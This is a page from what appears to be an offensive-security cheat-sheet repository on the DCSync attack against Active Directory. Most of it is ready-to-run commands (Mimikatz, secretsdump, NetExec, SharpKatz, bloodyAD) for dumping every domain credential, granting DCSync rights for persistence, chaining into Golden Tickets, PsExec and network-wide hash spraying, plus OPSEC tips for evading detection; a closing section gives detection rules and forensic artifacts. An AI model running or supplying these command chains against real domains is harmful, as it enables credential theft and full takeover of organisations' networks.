daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

attack-37-dcsync-attack.md (42758B)


      1 ---
      2 title: "Attack #37 β€” DCSync Attack"
      3 description: "DCSync is the most efficient method for extracting every credential in an Active Directory domain without ever touching the NTDS.dit file on disk or…"
      4 category: active-directory
      5 subcategory: "Domain Controller Attacks"
      6 tags: ["active-directory", "kerberos", "credential-access", "hashing"]
      7 tools: ["NetExec", "Impacket", "Mimikatz", "Certipy", "Hashcat"]
      8 difficulty: advanced
      9 updated: "2026-08-10"
     10 source: "vault:ActiveDirectory/AD-Attack/Category-Five/πŸ”΅ Attack #37 β€” DCSync Attack.md"
     11 ---
     12 # πŸ”΅ Attack #37 β€” DCSync Attack
     13 
     14 ***
     15 
     16 ## πŸ“– How It Works
     17 
     18 DCSync is **the most efficient method for extracting every credential in an Active Directory domain** without ever touching the NTDS.dit file on disk or running code on a Domain Controller. It exploits the **[Directory Replication Service Remote Protocol (MS-DRSR)](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-drsr/)** β€” the legitimate protocol that Domain Controllers use to synchronize Active Directory data between each other during normal replication. An attacker with the correct replication permissions can impersonate a Domain Controller and request the DC to send replication data containing password hashes for any or all domain accounts.
     19 
     20 The attack works by triggering the `GetNCChanges` RPC function (via the `DRSUAPI` interface) from a non-DC workstation. The target Domain Controller processes this as a legitimate replication request and responds with the requested user's credential material, including **NT hashes, Kerberos AES keys, old password hashes, and password history**. The entire exchange happens over the network using standard RPC β€” no malware needs to be deployed on the DC, no LSASS memory is accessed, and the NTDS.dit file is never read from disk.
     21 
     22 > [!info]+ Technical Deep-Dive β€” DRSUAPI GetNCChanges Flow
     23 > 1. The attacker binds to the DC's **DRSUAPI RPC endpoint** (UUID `e3514235-4b06-11d1-ab04-00c04fc2dcd2`) over TCP 135 β†’ dynamic RPC port
     24 > 2. Calls `DRSBind` to establish a replication context handle with the DC
     25 > 3. Calls `DRSGetNCChanges` specifying the target account's **Distinguished Name** (or requesting the entire naming context)
     26 > 4. The DC validates the caller has both **DS-Replication-Get-Changes** and **DS-Replication-Get-Changes-All** extended rights on the domain NC head
     27 > 5. The DC responds with `REPLENTINFLIST` structures containing **NTLM hashes** (via `unicodePwd`), **Kerberos keys** (via `supplementalCredentials`), and **password history** (via `lmPwdHistory` / `ntPwdHistory`)
     28 > 6. *The attacker decodes the PEK-encrypted attributes locally β€” the DC performs decryption before transmission when the session is authenticated*
     29 
     30 ### Required Permissions
     31 
     32 DCSync requires the requesting principal to have specific extended rights on the domain's root object (the domain naming context):
     33 
     34 | Permission (ACE) | GUID | Who Has It by Default |
     35 |---|---|---|
     36 | **Replicating Directory Changes** (DS-Replication-Get-Changes) | `1131f6aa-9c07-11d1-f79f-00c04fc2dcd2` | Domain Admins, Enterprise Admins, Administrators, DCs |
     37 | **Replicating Directory Changes All** (DS-Replication-Get-Changes-All) | `1131f6ad-9c07-11d1-f79f-00c04fc2dcd2` | Domain Admins, Enterprise Admins, Administrators, DCs |
     38 
     39 Both permissions are required simultaneously. Having only one is insufficient β€” `Get-Changes` alone provides attribute data but not secret data (password hashes); `Get-Changes-All` alone doesn't grant the replication request capability.
     40 
     41 > [!warning]+ Third Replication Right β€” DS-Replication-Get-Changes-In-Filtered-Set
     42 > `fas:TriangleExclamation`
     43 > 1. GUID: `89e95b76-444d-4c62-991a-0facbeda640c`
     44 > 2. This third replication right controls access to **RODC-filtered attributes** (confidential attributes excluded from Read-Only Domain Controllers)
     45 > 3. Some tools (e.g., older [Mimikatz](https://github.com/gentilkiwi/mimikatz) versions) may fail to extract certain attributes without this right
     46 > 4. *In practice, DA/EA groups have this right by default, so it only matters when manually granting DCSync to a custom principal*
     47 
     48 ### The Full Attack Flow
     49 
     50 ```
     51 1. Obtain Domain Admin privileges (or an account with replication rights)
     52    - Or: find a non-DA account that has been granted replication rights (ACL abuse)
     53 2. From any domain-joined machine, run DCSync (no need to be on the DC)
     54 3. Request replication data for specific users or all users
     55 4. Receive NT hashes, AES keys, and password history
     56 5. Use extracted hashes for:
     57    - Pass-the-Hash (Attack #4)
     58    - Golden Ticket forging with KRBTGT hash (Attack #11)
     59    - Offline password cracking
     60    - Silver Ticket forging (Attack #12)
     61 ```
     62 
     63 ***
     64 
     65 ## βš™οΈ Prerequisites
     66 
     67 | Requirement | Detail |
     68 |---|---|
     69 | **Account with replication rights** | Domain Admins, Enterprise Admins, Administrators, or any account with both DS-Replication-Get-Changes + Get-Changes-All ACEs |
     70 | **Network access to DC** | RPC/DRSUAPI access (TCP 135 + dynamic RPC ports, or TCP 49152+) |
     71 | **No DC access needed** | Works from any domain-joined workstation β€” this is a remote attack |
     72 
     73 ***
     74 
     75 ## πŸ› οΈ Tools
     76 
     77 | Tool | Platform | Version | Notes |
     78 |---|---|---|---|
     79 | [Mimikatz](https://github.com/gentilkiwi/mimikatz) | Windows | β‰₯ 2.2.0 | `lsadump::dcsync` β€” the original DCSync implementation |
     80 | [Impacket β€” secretsdump.py](https://github.com/fortra/impacket) | Linux | β‰₯ 0.10.0 | `-just-dc` flags β€” most common Linux method |
     81 | [CrackMapExec](https://github.com/byt3bl33d3r/CrackMapExec) / [NetExec](https://github.com/Pennyw0rth/NetExec) | Linux | NXC β‰₯ 1.1.0 | `--ntds drsuapi` β€” DCSync via CME/NXC |
     82 | [DSInternals](https://github.com/MichaelGrafnetter/DSInternals) | Windows/PowerShell | β‰₯ 4.7 | `Get-ADReplAccount` β€” PowerShell-native DCSync |
     83 | [SharpKatz](https://github.com/b4rtik/SharpKatz) | Windows (.NET) | Latest | DCSync via a Mimikatz-derived .NET assembly β€” useful for C2 `execute-assembly` |
     84 | [bloodyAD](https://github.com/CravateRouge/bloodyAD) | Linux/Python | β‰₯ 1.0.0 | Check & grant replication rights β€” pairs with secretsdump |
     85 | [dacledit.py](https://github.com/fortra/impacket) | Linux | Impacket β‰₯ 0.10.0 | Read/write DACLs for granting DCSync rights |
     86 
     87 > [!tip]+ Tool Version Compatibility Notes
     88 > `fas:Lightbulb`
     89 > 1. **Impacket 0.12.0+** changed the module layout β€” `secretsdump.py` is now under `impacket/examples/`; install via `pipx install impacket` for correct PATH resolution
     90 > 2. **NetExec** replaced CrackMapExec (archived) β€” use `nxc` binary; `crackmapexec` is legacy
     91 > 3. **DSInternals 4.8+** supports Azure AD Kerberos keys (`msDS-ManagedPassword` for gMSA accounts)
     92 > 4. **SharpKatz** must match the target .NET CLR version β€” compile for .NET 4.0 for Server 2012/2016, .NET 4.8 for 2019+
     93 
     94 ***
     95 
     96 ## ⏱️ Time-to-Execute Estimates
     97 
     98 | Operation | Time | Notes |
     99 |---|---|---|
    100 | Single-user DCSync | **2–5 seconds** | One DRSUAPI call round-trip |
    101 | Full domain dump (1,000 users) | **30–90 seconds** | Depends on network speed and attribute count |
    102 | Full domain dump (50,000+ users) | **10–30 minutes** | Enterprise environments; consider single-user targeting instead |
    103 | Granting DCSync rights (ACL write) | **1–3 seconds** | Near-instant LDAP modification |
    104 
    105 ***
    106 
    107 ## πŸ’» Full Commands
    108 
    109 ### πŸ”΅ Step 0 β€” Check If You Have Replication Rights
    110 
    111 ```powershell
    112 # ── PowerView β€” enumerate who has DCSync rights ──────────────────────────────
    113 Import-Module .\PowerView.ps1
    114 Get-ObjectACL "DC=corp,DC=local" -ResolveGUIDs |
    115   Where-Object {
    116     ($_.ObjectAceType -match 'Replication-Get') -or
    117     ($_.ActiveDirectoryRights -match 'GenericAll')
    118   } | Select-Object SecurityIdentifier, ObjectAceType |
    119   ForEach-Object {
    120     $_ | Add-Member -NotePropertyName Principal -NotePropertyValue (
    121       Convert-SidToName $_.SecurityIdentifier
    122     ) -PassThru
    123   }
    124 
    125 # ── AD Module β€” check specific user ──────────────────────────────────────────
    126 (Get-Acl "AD:DC=corp,DC=local").Access |
    127   Where-Object { $_.ObjectType -eq "1131f6ad-9c07-11d1-f79f-00c04fc2dcd2" } |
    128   Select-Object IdentityReference
    129 
    130 # ── Native β€” verify your current rights ───────────────────────────────────────
    131 whoami /all
    132 # Check group memberships for: Domain Admins, Enterprise Admins, Administrators
    133 ```
    134 
    135 ```bash
    136 # ── Linux β€” check replication rights with bloodyAD ────────────────────────────
    137 bloodyAD -d corp.local -u low_user -p 'Password1' --host DC01.corp.local \
    138   get writable --right 'REPLICATION'
    139 
    140 # ── Impacket β€” FindDelegation / dacledit ──────────────────────────────────────
    141 dacledit.py -action read -target-dn "DC=corp,DC=local" \
    142   corp.local/low_user:'Password1' -dc-ip 10.10.10.10
    143 ```
    144 
    145 ***
    146 
    147 ### πŸ”΄ DCSync β€” Single User (Extract Specific Account Hash)
    148 
    149 #### Mimikatz (Windows)
    150 
    151 ```powershell
    152 # ── DCSync a single user β€” extract Administrator hash ─────────────────────────
    153 privilege::debug
    154 lsadump::dcsync /domain:corp.local /user:Administrator
    155 
    156 # Output contains:
    157 # SAM Username         : Administrator
    158 # Hash NTLM           : 2b576acbe6bcfda7294d6bd18041b8fe  ← NT hash
    159 # aes256_hmac          : b65fb27c...                        ← AES256 key
    160 # aes128_hmac          : a1b2c3d4...                        ← AES128 key
    161 # Credentials (old)    : <previous password hashes>          ← Password history
    162 
    163 # ── DCSync the KRBTGT account (for Golden Ticket forging) ────────────────────
    164 lsadump::dcsync /domain:corp.local /user:krbtgt
    165 
    166 # ── DCSync a specific user by SID ────────────────────────────────────────────
    167 lsadump::dcsync /domain:corp.local /user:CN=svc_backup,CN=Users,DC=corp,DC=local
    168 
    169 # ── DCSync using /all to dump every single account ────────────────────────────
    170 lsadump::dcsync /domain:corp.local /all /csv
    171 # ⚠️ LOUD β€” dumps every account; use single-user requests in stealth operations
    172 ```
    173 
    174 #### Impacket β€” secretsdump.py (Linux)
    175 
    176 ```bash
    177 # ── DCSync single user β€” extract Administrator hash ───────────────────────────
    178 secretsdump.py corp.local/Administrator:'Password1'@DC01.corp.local \
    179   -just-dc-user Administrator
    180 
    181 # ── DCSync KRBTGT (for Golden Ticket) ─────────────────────────────────────────
    182 secretsdump.py corp.local/Administrator:'Password1'@DC01.corp.local \
    183   -just-dc-user krbtgt
    184 
    185 # ── DCSync with Pass-the-Hash (no password needed) ────────────────────────────
    186 secretsdump.py corp.local/Administrator@DC01.corp.local \
    187   -hashes :2b576acbe6bcfda7294d6bd18041b8fe \
    188   -just-dc-user krbtgt
    189 
    190 # ── DCSync with Kerberos authentication ───────────────────────────────────────
    191 export KRB5CCNAME=administrator.ccache
    192 secretsdump.py -k -no-pass corp.local/Administrator@DC01.corp.local \
    193   -just-dc-user krbtgt
    194 ```
    195 
    196 #### SharpKatz (Windows β€” .NET Assembly for C2)
    197 
    198 ```powershell
    199 # ── Via Cobalt Strike / Sliver execute-assembly ──────────────────────────────
    200 execute-assembly /path/to/SharpKatz.exe --Command dcsync --User Administrator --Domain corp.local --DomainController DC01.corp.local
    201 
    202 # ── Standalone ────────────────────────────────────────────────────────────────
    203 SharpKatz.exe --Command dcsync --User krbtgt --Domain corp.local --DomainController DC01.corp.local
    204 ```
    205 
    206 > [!info]+ Command Breakdown β€” secretsdump.py Flags
    207 > 1. **`-just-dc`**: Only perform DCSync (DRSUAPI replication); skip SAM/LSA/DPAPI extraction that requires SMB admin access. Outputs NT hashes + Kerberos keys + cleartext passwords (if reversible encryption enabled)
    208 > 2. **`-just-dc-ntlm`**: Same as `-just-dc` but only extract NT hashes (no Kerberos keys). Faster; smaller output files
    209 > 3. **`-just-dc-user <user>`**: DCSync only the specified user β€” single DRSUAPI request, much stealthier than full dump
    210 > 4. **`-history`**: Include password history hashes β€” useful for finding password reuse patterns and cracking previous passwords
    211 > 5. **`-outputfile <prefix>`**: Write results to files with the given prefix (`.ntds`, `.ntds.kerberos`, `.ntds.cleartext` extensions)
    212 > 6. **`-hashes :<NT_HASH>`**: Authenticate via Pass-the-Hash β€” no cleartext password needed
    213 > 7. **`-k -no-pass`**: Authenticate via Kerberos using a ccache ticket β€” stealthiest auth method; requires `KRB5CCNAME` environment variable set
    214 > 8. *The `-just-dc` family of flags is what makes secretsdump.py perform DCSync (DRSUAPI) instead of SMB-based NTDS.dit extraction*
    215 
    216 ***
    217 
    218 ### πŸ”΄ DCSync β€” Specific High-Value Targets
    219 
    220 ```bash
    221 # ── gMSA (Group Managed Service Account) password extraction ──────────────────
    222 # gMSA passwords are stored in msDS-ManagedPassword β€” DCSync can extract them
    223 secretsdump.py corp.local/Administrator:'Password1'@DC01.corp.local \
    224   -just-dc-user 'gMSA_svc$'
    225 # The supplementalCredentials will contain the gMSA password blob
    226 # Decode with: gMSADumper.py or DSInternals
    227 
    228 # ── LAPS (Local Admin Password Solution) ──────────────────────────────────────
    229 # LAPS passwords are stored in ms-MCS-AdmPwd (LAPS v1) or msLAPS-Password (LAPS v2)
    230 # DCSync extracts ALL attributes β€” but LAPS passwords are in the computer object, not user
    231 # You need to query the computer object specifically:
    232 secretsdump.py corp.local/Administrator:'Password1'@DC01.corp.local \
    233   -just-dc-user 'WORKSTATION01$'
    234 
    235 # ── KRBTGT for every domain in the forest (multi-domain) ─────────────────────
    236 # If you have Enterprise Admin, DCSync the child domain's KRBTGT:
    237 secretsdump.py corp.local/EntAdmin:'Password1'@CHILDDC.child.corp.local \
    238   -just-dc-user krbtgt
    239 
    240 # ── RODC (Read-Only DC) KRBTGT β€” krbtgt_NNNNN ────────────────────────────────
    241 # RODCs have their own KRBTGT account (krbtgt_<RID>):
    242 secretsdump.py corp.local/Administrator:'Password1'@DC01.corp.local \
    243   -just-dc-user 'krbtgt_12345'
    244 # This KRBTGT can forge tickets accepted by that specific RODC only
    245 ```
    246 
    247 > [!tip]+ gMSA Password Extraction Deep-Dive
    248 > `fas:Lightbulb`
    249 > 1. gMSA passwords are 256 bytes of random data, auto-rotated every 30 days by default
    250 > 2. The `msDS-ManagedPassword` attribute is a **constructed attribute** β€” not directly stored in NTDS.dit but computed at query time
    251 > 3. **DCSync CAN extract the NT hash** of a gMSA account β€” the hash is stored in `unicodePwd` like any other account
    252 > 4. For the full gMSA password blob (useful for decrypting DPAPI or service configs), use [gMSADumper.py](https://github.com/micahvandeusen/gMSADumper) or [DSInternals](https://github.com/MichaelGrafnetter/DSInternals) `Get-ADReplAccount`
    253 > 5. *gMSA accounts are increasingly common in modern AD environments β€” always check for them during DCSync*
    254 
    255 ***
    256 
    257 ### πŸ”΄ DCSync β€” Advanced Auth Variants
    258 
    259 ```bash
    260 # ── Via SOCKS proxy (through C2 tunnel) ───────────────────────────────────────
    261 proxychains secretsdump.py corp.local/Administrator:'Password1'@DC01.corp.local \
    262   -just-dc-user krbtgt
    263 # Useful when attacking through a Cobalt Strike / Chisel / Ligolo SOCKS tunnel
    264 
    265 # ── Via certificate authentication (PKINIT) ──────────────────────────────────
    266 certipy auth -pfx administrator.pfx -dc-ip 10.10.10.10 -username Administrator
    267 # Outputs: administrator.ccache
    268 export KRB5CCNAME=administrator.ccache
    269 secretsdump.py -k -no-pass corp.local/Administrator@DC01.corp.local -just-dc
    270 
    271 # ── Via Silver Ticket (if you have a service account hash for the DC) ─────────
    272 # Forge a Silver Ticket for the DC's DRSUAPI SPN:
    273 ticketer.py -nthash <DC_MACHINE_HASH> -domain-sid S-1-5-21-... \
    274   -domain corp.local -spn E3514235-4B06-11D1-AB04-00C04FC2DCD2/DC01.corp.local \
    275   Administrator
    276 export KRB5CCNAME=Administrator.ccache
    277 secretsdump.py -k -no-pass corp.local/Administrator@DC01.corp.local -just-dc
    278 # ⚠️ Silver Ticket DCSync is unusual but works β€” the DC validates the SPN, not group membership
    279 
    280 # ── From a non-domain-joined Linux box ────────────────────────────────────────
    281 # You need to configure /etc/krb5.conf with the domain realm and DC KDC:
    282 # [realms]
    283 #   CORP.LOCAL = { kdc = DC01.corp.local }
    284 # Then:
    285 secretsdump.py corp.local/Administrator:'Password1'@10.10.10.10 \
    286   -just-dc-user krbtgt -target-ip 10.10.10.10
    287 ```
    288 
    289 ***
    290 
    291 ### πŸ”΄ Automation β€” One-Liner Attack Chains
    292 
    293 ```bash
    294 # ── Full DCSync β†’ Golden Ticket β†’ PsExec chain ───────────────────────────────
    295 # Step 1: DCSync KRBTGT
    296 KRBTGT=$(secretsdump.py corp.local/Administrator:'Password1'@DC01.corp.local \
    297   -just-dc-user krbtgt 2>/dev/null | grep "Kerberos keys" -A1 | grep aes256 | awk '{print $2}')
    298 
    299 # Step 2: Get domain SID
    300 DSID=$(lookupsid.py corp.local/Administrator:'Password1'@DC01.corp.local 0 2>/dev/null | grep "Domain SID" | awk '{print $NF}')
    301 
    302 # Step 3: Forge Golden Ticket
    303 ticketer.py -aesKey $KRBTGT -domain-sid $DSID -domain corp.local Administrator
    304 
    305 # Step 4: Use it
    306 export KRB5CCNAME=Administrator.ccache
    307 psexec.py -k -no-pass corp.local/Administrator@DC01.corp.local
    308 
    309 # ── Quick spray extracted hashes for local admin reuse ────────────────────────
    310 secretsdump.py corp.local/Administrator:'Password1'@DC01.corp.local \
    311   -just-dc-ntlm -outputfile dump && \
    312   grep -v '\$:' dump.ntds | cut -d: -f4 | sort -u > unique_hashes.txt && \
    313   nxc smb 10.10.10.0/24 -u Administrator -H unique_hashes.txt --local-auth --continue-on-success
    314 ```
    315 
    316 ***
    317 
    318 ### πŸ”΄ DCSync β€” Full Domain Dump (All Users)
    319 
    320 #### Impacket β€” secretsdump.py (Linux)
    321 
    322 ```bash
    323 # ── Full DCSync β€” dump ALL domain account hashes ──────────────────────────────
    324 secretsdump.py corp.local/Administrator:'Password1'@DC01.corp.local \
    325   -just-dc-ntlm -outputfile domain_hashes
    326 
    327 # Output files:
    328 # domain_hashes.ntds          ← All NT hashes (username:RID:LM:NT:::)
    329 # domain_hashes.ntds.kerberos ← All Kerberos keys (AES256, AES128, DES)
    330 # domain_hashes.ntds.cleartext ← Any reversible encryption passwords
    331 
    332 # ── Full dump including Kerberos keys ─────────────────────────────────────────
    333 secretsdump.py corp.local/Administrator:'Password1'@DC01.corp.local \
    334   -just-dc -outputfile full_domain_dump
    335 
    336 # ── Dump with password history ────────────────────────────────────────────────
    337 secretsdump.py corp.local/Administrator:'Password1'@DC01.corp.local \
    338   -just-dc -history -outputfile domain_with_history
    339 
    340 # ── Using PtH ────────────────────────────────────────────────────────────────
    341 secretsdump.py corp.local/Administrator@DC01.corp.local \
    342   -hashes :2b576acbe6bcfda7294d6bd18041b8fe \
    343   -just-dc-ntlm -outputfile domain_hashes
    344 ```
    345 
    346 #### CrackMapExec / NetExec (Linux)
    347 
    348 ```bash
    349 # ── DCSync via NetExec ────────────────────────────────────────────────────────
    350 nxc smb DC01.corp.local -u Administrator -p 'Password1' --ntds drsuapi
    351 
    352 # ── With PtH ──────────────────────────────────────────────────────────────────
    353 nxc smb DC01.corp.local -u Administrator -H 2b576acbe6bcfda7294d6bd18041b8fe --ntds drsuapi
    354 
    355 # ── Output to file ────────────────────────────────────────────────────────────
    356 nxc smb DC01.corp.local -u Administrator -p 'Password1' --ntds drsuapi \
    357   --output domain_hashes.txt
    358 
    359 # ── Kerberos auth ─────────────────────────────────────────────────────────────
    360 export KRB5CCNAME=administrator.ccache
    361 nxc smb DC01.corp.local -u Administrator -k --ntds drsuapi
    362 ```
    363 
    364 #### Mimikatz (Windows)
    365 
    366 ```powershell
    367 # ── Dump all users via DCSync ─────────────────────────────────────────────────
    368 privilege::debug
    369 lsadump::dcsync /domain:corp.local /all /csv
    370 # Output: CSV format with all usernames and NT hashes
    371 ```
    372 
    373 #### DSInternals (PowerShell)
    374 
    375 ```powershell
    376 # ── PowerShell-native DCSync ──────────────────────────────────────────────────
    377 Install-Module DSInternals -Force
    378 Import-Module DSInternals
    379 
    380 # Single user
    381 Get-ADReplAccount -SamAccountName Administrator -Server DC01.corp.local
    382 
    383 # All users
    384 Get-ADReplAccount -All -Server DC01.corp.local |
    385   Select-Object SamAccountName, @{N='NTHash';E={$_.NTHash | ConvertTo-Hex}} |
    386   Export-Csv domain_hashes.csv -NoTypeInformation
    387 
    388 # ── Extract gMSA passwords via replication ────────────────────────────────────
    389 Get-ADReplAccount -SamAccountName 'gMSA_svc$' -Server DC01.corp.local |
    390   Select-Object -ExpandProperty Supplementalcredentials
    391 ```
    392 
    393 ***
    394 
    395 ### πŸ”΄ Granting DCSync Rights (Persistence / ACL Abuse β€” Attack #65)
    396 
    397 ```powershell
    398 # ── If you have GenericAll/WriteDACL on the domain object, grant yourself DCSync ─
    399 
    400 # PowerView β€” add Replicating Directory Changes + All to a user
    401 Import-Module .\PowerView.ps1
    402 Add-DomainObjectAcl -TargetIdentity "DC=corp,DC=local" \
    403   -PrincipalIdentity low_user \
    404   -Rights DCSync -Verbose
    405 
    406 # ── Now low_user can DCSync from any machine ──────────────────────────────────
    407 lsadump::dcsync /domain:corp.local /user:krbtgt
    408 # Works because low_user now has both replication ACEs
    409 ```
    410 
    411 ```bash
    412 # ── Linux β€” grant DCSync rights via dacledit.py ───────────────────────────────
    413 dacledit.py -action write -rights DCSync \
    414   -principal low_user -target-dn "DC=corp,DC=local" \
    415   corp.local/DA_user:'Password1' -dc-ip 10.10.10.10
    416 
    417 # ── bloodyAD ──────────────────────────────────────────────────────────────────
    418 bloodyAD -d corp.local -u DA_user -p 'Password1' --host DC01.corp.local \
    419   add dcsync low_user
    420 
    421 # ── Remove DCSync rights (cleanup) ───────────────────────────────────────────
    422 dacledit.py -action remove -rights DCSync \
    423   -principal low_user -target-dn "DC=corp,DC=local" \
    424   corp.local/DA_user:'Password1' -dc-ip 10.10.10.10
    425 
    426 bloodyAD -d corp.local -u DA_user -p 'Password1' --host DC01.corp.local \
    427   remove dcsync low_user
    428 ```
    429 
    430 ***
    431 
    432 ### πŸ”΄ Post-DCSync β€” What to Do with the Hashes
    433 
    434 ```bash
    435 # ── 1. Forge a Golden Ticket with KRBTGT hash ────────────────────────────────
    436 ticketer.py -nthash <KRBTGT_HASH> \
    437   -domain-sid S-1-5-21-3878595448-1012506728-1948843120 \
    438   -domain corp.local Administrator
    439 
    440 # ── 2. Pass-the-Hash with Administrator hash ─────────────────────────────────
    441 nxc smb 10.10.10.0/24 -u Administrator -H <NT_HASH> --local-auth
    442 psexec.py corp.local/Administrator@DC01.corp.local -hashes :<NT_HASH>
    443 evil-winrm -i DC01.corp.local -u Administrator -H <NT_HASH>
    444 
    445 # ── 3. Crack hashes offline ──────────────────────────────────────────────────
    446 hashcat -m 1000 domain_hashes.ntds rockyou.txt --force
    447 john --format=NT domain_hashes.ntds --wordlist=rockyou.txt
    448 
    449 # ── 4. Spray hashes across the network (local admin reuse) ───────────────────
    450 nxc smb 10.10.10.0/24 -u Administrator -H <NT_HASH> --local-auth
    451 # Find which machines have the same local admin hash = credential reuse
    452 ```
    453 
    454 ***
    455 
    456 ## 🎯 OPSEC Tips
    457 
    458 1. **Single-user DCSync is stealthier than full dump** β€” targeting specific accounts (krbtgt, Administrator) generates fewer replication events than dumping the entire directory
    459 2. **DCSync from a workstation, not the DC** β€” replication requests from a workstation IP are the anomaly that detection relies on; but running from the DC itself blends with legitimate replication (if you already have DC access)
    460 3. **Use Kerberos auth over NTLM** β€” NTLM-authenticated DCSync generates additional network logon events; Kerberos blends with normal traffic
    461 4. **DCSync leaves NO artifacts on the DC** β€” no files written, no LSASS access, no process injection; it's purely a network-level operation
    462 5. **Time your attacks** β€” DCSync during business hours when legitimate replication traffic is high creates more noise to hide in
    463 6. **Target specific high-value accounts** β€” KRBTGT (Golden Ticket), service accounts (Silver Tickets), and DA accounts; don't dump everything unless you need to
    464 7. **Avoid running from a non-domain-joined machine** β€” some EDRs flag DRSUAPI calls from IPs with no corresponding AD computer object
    465 
    466 ### πŸ“Š OpSec Ranking
    467 
    468 | Method | Stealth | Speed | Reliability | Notes |
    469 |---|---|---|---|---|
    470 | Mimikatz single-user | 🟑 Medium | 🟒 Fast | 🟒 High | Detected by most EDR on-disk; use from memory |
    471 | secretsdump.py single-user (Kerberos) | 🟒 High | 🟒 Fast | 🟒 High | Best overall β€” network-only, Kerberos auth |
    472 | secretsdump.py full dump | πŸ”΄ Low | 🟑 Medium | 🟒 High | Massive replication traffic = easy to spot |
    473 | NetExec `--ntds drsuapi` | 🟑 Medium | 🟑 Medium | 🟒 High | Convenient but logs SMB + DRSUAPI |
    474 | DSInternals | 🟑 Medium | 🟑 Medium | 🟑 Medium | PowerShell logging catches module loads |
    475 | SharpKatz (in-memory .NET) | 🟒 High | 🟒 Fast | 🟑 Medium | Good for C2; avoids disk touches |
    476 
    477 ***
    478 
    479 ## πŸ›‘οΈ Detection β€” Event IDs
    480 
    481 | Event ID | Source | What to Look For |
    482 |---|---|---|
    483 | **4662** | Security Log (DC) | Directory Service Access β€” GUID `{1131f6aa-...}` or `{1131f6ad-...}` from a **non-DC account** |
    484 | **4624** | Security Log (DC) | Network logon (Type 3) from the source IP performing DCSync |
    485 | **4672** | Security Log (DC) | Special privileges assigned to the DCSync session |
    486 
    487 **Primary detection signature:** Event ID **4662** is the definitive DCSync indicator. Configure "Audit Directory Service Access" in Advanced Audit Policy, then alert on 4662 events where:
    488 1. The `Properties` field contains GUID `{1131f6ad-9c07-11d1-f79f-00c04fc2dcd2}` (Replication-Get-Changes-All)
    489 2. The `Account Name` does **NOT** end with `$` (non-computer account) β€” or is a computer account that is NOT a legitimate Domain Controller
    490 
    491 Additionally, **network-level detection** is highly effective: monitor for DRSUAPI RPC calls (`DsGetNCChanges`) originating from IP addresses that are not registered Domain Controllers. Tools like Microsoft Defender for Identity (MDI) and Zeek/Bro IDS can detect this pattern with high confidence.
    492 
    493 ### πŸ”Ž Sigma Rules
    494 
    495 ```yaml
    496 # ── SigmaHQ β€” DCSync Activity (Event ID 4662) ───────────────────────────────
    497 title: Potential DCSync Attack
    498 id: 5f842047-8e40-4e44-a88e-9c6c3c42b1b0
    499 status: stable
    500 logsource:
    501   product: windows
    502   service: security
    503 detection:
    504   selection:
    505     EventID: 4662
    506     Properties|contains:
    507       - '1131f6ad-9c07-11d1-f79f-00c04fc2dcd2'
    508       - '1131f6aa-9c07-11d1-f79f-00c04fc2dcd2'
    509   filter_dc:
    510     SubjectUserName|endswith: '$'
    511   condition: selection and not filter_dc
    512 level: critical
    513 tags:
    514   - attack.credential_access
    515   - attack.t1003.006
    516 ```
    517 
    518 ```yaml
    519 # ── SigmaHQ β€” DCSync Rights Granted ─────────────────────────────────────────
    520 title: DCSync Rights Granted to User Account
    521 id: 56ab2f68-7859-4886-a0c3-c0bca7379ce0
    522 logsource:
    523   product: windows
    524   service: security
    525 detection:
    526   selection:
    527     EventID: 5136
    528     AttributeLDAPDisplayName: 'nTSecurityDescriptor'
    529     ObjectClass: 'domainDNS'
    530   condition: selection
    531 level: high
    532 ```
    533 
    534 ### 🌐 Network-Level Detection (Zeek / Suricata)
    535 
    536 ```zeek
    537 # ── Zeek script β€” detect DRSUAPI DsGetNCChanges from non-DC sources ──────────
    538 # File: detect-dcsync.zeek
    539 event dce_rpc_request(c: connection, fid: count, opnum: count, stub_len: count) {
    540     # DRSUAPI UUID: e3514235-4b06-11d1-ab04-00c04fc2dcd2
    541     # OpNum 3 = DsGetNCChanges
    542     if (opnum == 3) {
    543         local src = c$id$orig_h;
    544         if (src !in known_dcs) {
    545             NOTICE([$note=DCSync_Attempt,
    546                     $msg=fmt("DsGetNCChanges from non-DC: %s β†’ %s", src, c$id$resp_h),
    547                     $conn=c]);
    548         }
    549     }
    550 }
    551 ```
    552 
    553 ```yaml
    554 # ── Suricata rule β€” DRSUAPI traffic from non-DC ──────────────────────────────
    555 alert tcp !$DC_SERVERS any -> $DC_SERVERS any (
    556   msg:"ATTACK [DCSync] DRSUAPI DsGetNCChanges from non-DC";
    557   content:"|05 00 00|"; offset:0; depth:3;  # DCE/RPC request header
    558   content:"|35 42 51 e3 06 4b d1 11 ab 04 00 c0 4f c2 dc d2|"; # DRSUAPI UUID
    559   reference:url,attack.mitre.org/techniques/T1003/006/;
    560   classtype:credential-access;
    561   sid:2024001; rev:1;
    562 )
    563 ```
    564 
    565 ### πŸ›‘οΈ EDR-Specific Detections
    566 
    567 > [!warning]+ Microsoft Defender for Identity (MDI)
    568 > 1. **"Suspected DCSync attack (replication of directory services)"** β€” high-confidence alert triggered when a non-DC machine calls DsGetNCChanges
    569 > 2. MDI correlates the source IP against registered DC objects in AD β€” any mismatch triggers the alert
    570 > 3. **"Malicious replication request"** β€” fires when a user account (not machine account) initiates replication
    571 > 4. *MDI is considered the gold standard for DCSync detection β€” it has near-zero false positives in most environments*
    572 
    573 > [!warning]+ CrowdStrike Falcon
    574 > 1. **"DCSync Credential Dumping"** β€” detects DRSUAPI GetNCChanges from non-DC endpoints
    575 > 2. Falcon monitors RPC traffic and correlates with endpoint process trees
    576 > 3. Also detects SharpKatz and Mimikatz in-memory execution via behavioral indicators (AMSI bypass, reflective loading patterns)
    577 
    578 > [!warning]+ Elastic Security
    579 > 1. Rule: **"Potential Credential Access via DCSync"** β€” correlates 4662 events with replication GUIDs
    580 > 2. Rule: **"Unusual DRSUAPI DsGetNCChanges RPC"** β€” network-level detection via Packetbeat / Zeek
    581 > 3. Kibana detection rule ID: `credential_access_dcsync`
    582 
    583 ***
    584 
    585 ## πŸ”¬ Forensic Artifacts
    586 
    587 | Artifact | Location | Details |
    588 |---|---|---|
    589 | **Event 4662** | DC Security Log | Contains SubjectUserSid, ObjectType GUIDs, and Properties accessed |
    590 | **Event 4624** | DC Security Log | Network logon from attacker IP β€” Type 3 with NTLM or Kerberos |
